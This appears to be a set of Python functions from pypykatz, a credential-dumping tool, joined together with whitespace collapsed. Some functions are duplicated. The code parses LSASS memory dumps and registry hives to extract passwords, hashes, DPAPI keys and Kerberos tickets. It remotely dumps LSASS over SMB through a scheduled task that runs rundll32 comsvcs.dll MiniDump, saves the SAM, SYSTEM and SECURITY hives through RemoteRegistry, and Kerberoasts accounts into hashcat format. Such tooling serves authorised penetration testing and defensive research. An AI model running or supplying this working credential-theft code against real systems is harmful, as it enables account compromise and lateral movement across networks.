def run(self, args): files_with_error = [] results = {} ###### Rekall if args.cmd == 'rekall': if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override, packages=args.packages) results['rekall'] = mimi ###### Minidump elif args.cmd == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.memoryfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logging.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logging.info('Parsing file %s' % filename) try: if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') mimi = pypykatz.parse_minidump_file( filename, packages=args.packages) results[filename] = mimi if args.halt_on_error == True and len(mimi.errors) > 0: raise Exception('Error in modules!') except Exception as e: files_with_error.append(filename) logging.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logging.info('Parsing file %s' % args.memoryfile) try: if args.kerberos_dir is not None and 'all' not in args.packages: args.packages.append('ktickets') mimi = pypykatz.parse_minidump_file(args.memoryfile, packages=args.packages) results[args.memoryfile] = mimi if args.halt_on_error == True and len(mimi.errors) > 0: raise Exception('Error in modules!') except Exception as e: logging.exception('Error while parsing file %s' % args.memoryfile) if args.halt_on_error == True: raise e else: traceback.print_exc() self.process_results(results, files_with_error, args)
async def run(self, args): files_with_error = [] results = {} ###### Minidump if args.cmd == 'minidump': if args.directory: dir_fullpath = os.path.abspath(args.memoryfile) file_pattern = '*.dmp' if args.recursive == True: globdata = os.path.join(dir_fullpath, '**', file_pattern) else: globdata = os.path.join(dir_fullpath, file_pattern) logging.info('Parsing folder %s' % dir_fullpath) for filename in glob.glob(globdata, recursive=args.recursive): logging.info('Parsing file %s' % filename) try: print('await') mimi = await apypykatz.parse_minidump_file( filename, packages=args.packages) results[filename] = mimi except Exception as e: files_with_error.append(filename) logging.exception('Error parsing file %s ' % filename) if args.halt_on_error == True: raise e else: pass else: logging.info('Parsing file %s' % args.memoryfile) try: mimi = await apypykatz.parse_minidump_file( args.memoryfile, packages=args.packages) results[args.memoryfile] = mimi except Exception as e: logging.exception('Error while parsing file %s' % args.memoryfile) if args.halt_on_error == True: raise e else: traceback.print_exc() self.process_results(results, files_with_error, args)
def process_results(self, results, files_with_error, args): if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True) elif args.outfile and args.grep: with open(args.outfile, 'w', newline = '') as f: f.write(':'.join(LogonSession.grep_header) + '\r\n') for result in results: for luid in results[result].logon_sessions: for row in results[result].logon_sessions[luid].to_grep_rows(): f.write(':'.join(row) + '\r\n') elif args.outfile: with open(args.outfile, 'w') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n'+str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) elif args.grep: print(':'.join(LogonSession.grep_header)) for result in results: for luid in results[result].logon_sessions: for row in results[result].logon_sessions[luid].to_grep_rows(): print(':'.join(row)) for cred in results[result].orphaned_creds: t = cred.to_dict() if t['credtype'] != 'dpapi': if t['password'] is not None: x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] print(':'.join(x)) else: t = cred.to_dict() x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] print(':'.join(x)) for pkg, err in results[result].errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] print(':'.join(x) + '\r\n') else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(results[result].errors) > 0: print('== Errors ==') for pkg, err in results[result].errors: err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) err_str = base64.b64encode(err_str.encode()).decode() print('%s %s' % (pkg+'_exception_please_report',err_str)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logging.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir)
async def regdump(url, hives=['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', enable_wait=3): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from aiosmb.commons.interfaces.file import SMBFile from aiosmb.dcerpc.v5.common.service import SMBServiceStatus from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry smburl = SMBConnectionURL(url) connection = smburl.get_connection() if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' po = None async with connection: logging.debug('[REGDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[REGDUMP] Connected to server!') async with SMBMachine(connection) as machine: logging.debug( '[REGDUMP] Checking remote registry service status...') status, err = await machine.check_service_status('RemoteRegistry') if err is not None: raise err logging.debug('[REGDUMP] Remote registry service status: %s' % status.name) if status != SMBServiceStatus.RUNNING: logging.debug('[REGDUMP] Enabling Remote registry service') _, err = await machine.enable_service('RemoteRegistry') if err is not None: raise err logging.debug('[REGDUMP] Starting Remote registry service') _, err = await machine.start_service('RemoteRegistry') if err is not None: raise err await asyncio.sleep(enable_wait) logging.debug( '[REGDUMP] Remote registry service should be running now...') files = {} for hive in hives: fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) remote_path = remote_base_path + fname remote_sharepath = remote_share_name + fname remote_file = SMBFileReader( SMBFile.from_remotepath(connection, remote_sharepath)) files[hive.split('\\')[1].upper()] = remote_file logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) _, err = await machine.save_registry_hive(hive, remote_path) if err is not None: raise err #await asyncio.sleep(1) for rfilename in files: rfile = files[rfilename] logging.debug('[REGDUMP] Opening reghive file %s' % rfilename) _, err = await rfile.open(connection) if err is not None: raise err try: logging.debug('[REGDUMP] Parsing hives...') po = await OffineRegistry.from_async_reader( files['SYSTEM'], sam_reader=files.get('SAM'), security_reader=files.get('SECURITY'), software_reader=files.get('SOFTWARE')) except Exception as e: print(e) logging.debug('[REGDUMP] Hives parsed OK!') logging.debug('[REGDUMP] Deleting remote files...') err = None for rfilename in files: rfile = files[rfilename] err = await rfile.close() if err is not None: logging.debug( '[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) _, err = await rfile.delete() if err is not None: logging.debug( '[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) if err is None: logging.debug('[REGDUMP] Deleting remote files OK!') return po
def process_results(self, results, files_with_error, args): if args.outfile and args.json: with open(args.outfile, 'w') as f: json.dump(results, f, cls=UniversalEncoder, indent=4, sort_keys=True) elif args.outfile: with open(args.outfile, 'w') as f: for result in results: f.write('FILE: ======== %s =======\n' % result) for luid in results[result].logon_sessions: f.write('\n' + str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: f.write('\n== Orphaned credentials ==\n') for cred in results[result].orphaned_creds: f.write(str(cred)) if len(files_with_error) > 0: f.write('\n== Failed to parse these files:\n') for filename in files_with_error: f.write('%s\n' % filename) elif args.json: print( json.dumps(results, cls=UniversalEncoder, indent=4, sort_keys=True)) else: for result in results: print('FILE: ======== %s =======' % result) if isinstance(results[result], str): print(results[result]) else: for luid in results[result].logon_sessions: print(str(results[result].logon_sessions[luid])) if len(results[result].orphaned_creds) > 0: print('== Orphaned credentials ==') for cred in results[result].orphaned_creds: print(str(cred)) if len(files_with_error) > 0: print('\n==== Parsing errors:') for filename in files_with_error: print(filename) if args.kerberos_dir: dir = os.path.abspath(args.kerberos_dir) logging.info('Writing kerberos tickets to %s' % dir) for filename in results: base_filename = ntpath.basename(filename) ccache_filename = '%s_%s.ccache' % ( base_filename, os.urandom(4).hex()) #to avoid collisions results[filename].kerberos_ccache.to_file( os.path.join(dir, ccache_filename)) for luid in results[filename].logon_sessions: for kcred in results[filename].logon_sessions[ luid].kerberos_creds: for ticket in kcred.tickets: ticket.to_kirbi(dir) for cred in results[filename].orphaned_creds: if cred.credtype == 'kerberos': for ticket in cred.tickets: ticket.to_kirbi(dir)
async def lsassdump(url, method='taskexec', remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', chunksize=64 * 1024, packages=['all']): from aiosmb.commons.exceptions import SMBException from aiosmb.wintypes.ntstatus import NTStatus from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from pypykatz.alsadecryptor.asbmfile import SMBFileReader from aiosmb.commons.interfaces.file import SMBFile from pypykatz.apypykatz import apypykatz smburl = SMBConnectionURL(url) connection = smburl.get_connection() if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) filepath = remote_base_path + fname filesharepath = remote_share_name + fname if method == 'taskexec': cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format( filepath) commands = [cmd] else: raise Exception('Unknown execution method %s' % method) mimi = None async with connection: logging.debug('[LSASSDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[LSASSDUMP] Connected!') async with SMBMachine(connection) as machine: if method == 'taskexec': logging.debug( '[LSASSDUMP] Start dumping LSASS with taskexec method!') logging.info('[LSASSDUMP] File location: %s' % filepath) _, err = await machine.tasks_execute_commands(commands) if err is not None: raise err logging.debug( '[LSASSDUMP] Sleeping a bit to let the remote host finish dumping' ) await asyncio.sleep(10) else: raise Exception('Unknown execution method %s' % method) logging.debug('[LSASSDUMP] Opening LSASS dump file...') for _ in range(3): smbfile = SMBFileReader( SMBFile.from_remotepath(connection, filesharepath)) _, err = await smbfile.open(connection) if err is not None: if isinstance(err, SMBException): if err.ntstatus == NTStatus.SHARING_VIOLATION: logging.debug( '[LSASSDUMP] LSASS dump is not yet ready, retrying...' ) await asyncio.sleep(1) continue raise err break else: raise err logging.debug('[LSASSDUMP] LSASS dump file opened!') logging.debug( '[LSASSDUMP] parsing LSASS dump file on the remote host...') mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages=packages) logging.debug('[LSASSDUMP] parsing OK!') logging.debug('[LSASSDUMP] Deleting remote dump file...') _, err = await smbfile.delete() if err is not None: logging.info( '[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err) else: logging.info('[LSASSDUMP] remote LSASS file deleted OK!') return mimi
def run_live(self, args): from winsspi.sspi import KerberoastSSPI from minikerberos.security import TGSTicket2hashcat, APREPRoast from minikerberos.utils import TGTTicket2hashcat from minikerberos.communication import KerberosSocket from minikerberos.common import KerberosTarget from pypykatz.commons.winapi.machine import LiveMachine if not args.target_file and not args.target_user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') machine = LiveMachine() realm = args.realm if not args.realm: realm = machine.get_domain() if args.cmd in ['spnroast', 'asreproast']: targets = [] if args.target_file: with open(args.target_file, 'r') as f: for line in f: line = line.strip() domain = None username = None if line.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = line.split('/') else: username = line if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) if args.target_user: for user in args.target_user: domain = None username = None if user.find('/') != -1: #we take for granted that usernames do not have the char / in them! domain, username = user.split('/') else: username = user if args.realm: domain = args.realm else: if domain is None: raise Exception( 'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file' ) target = KerberosTarget() target.username = username target.domain = domain targets.append(target) results = [] errors = [] if args.cmd == 'spnroast': for spn_name in targets: ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn( spn_name.get_formatted_pname()) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) elif args.cmd == 'asreproast': dcip = args.dc_ip if args.dc_ip is None: dcip = machine.get_domain() ks = KerberosSocket(dcip) ar = APREPRoast(ks) results = ar.run(targets) if args.out_file: with open(args.out_file, 'w') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) logging.info('SSPI based Kerberoast complete')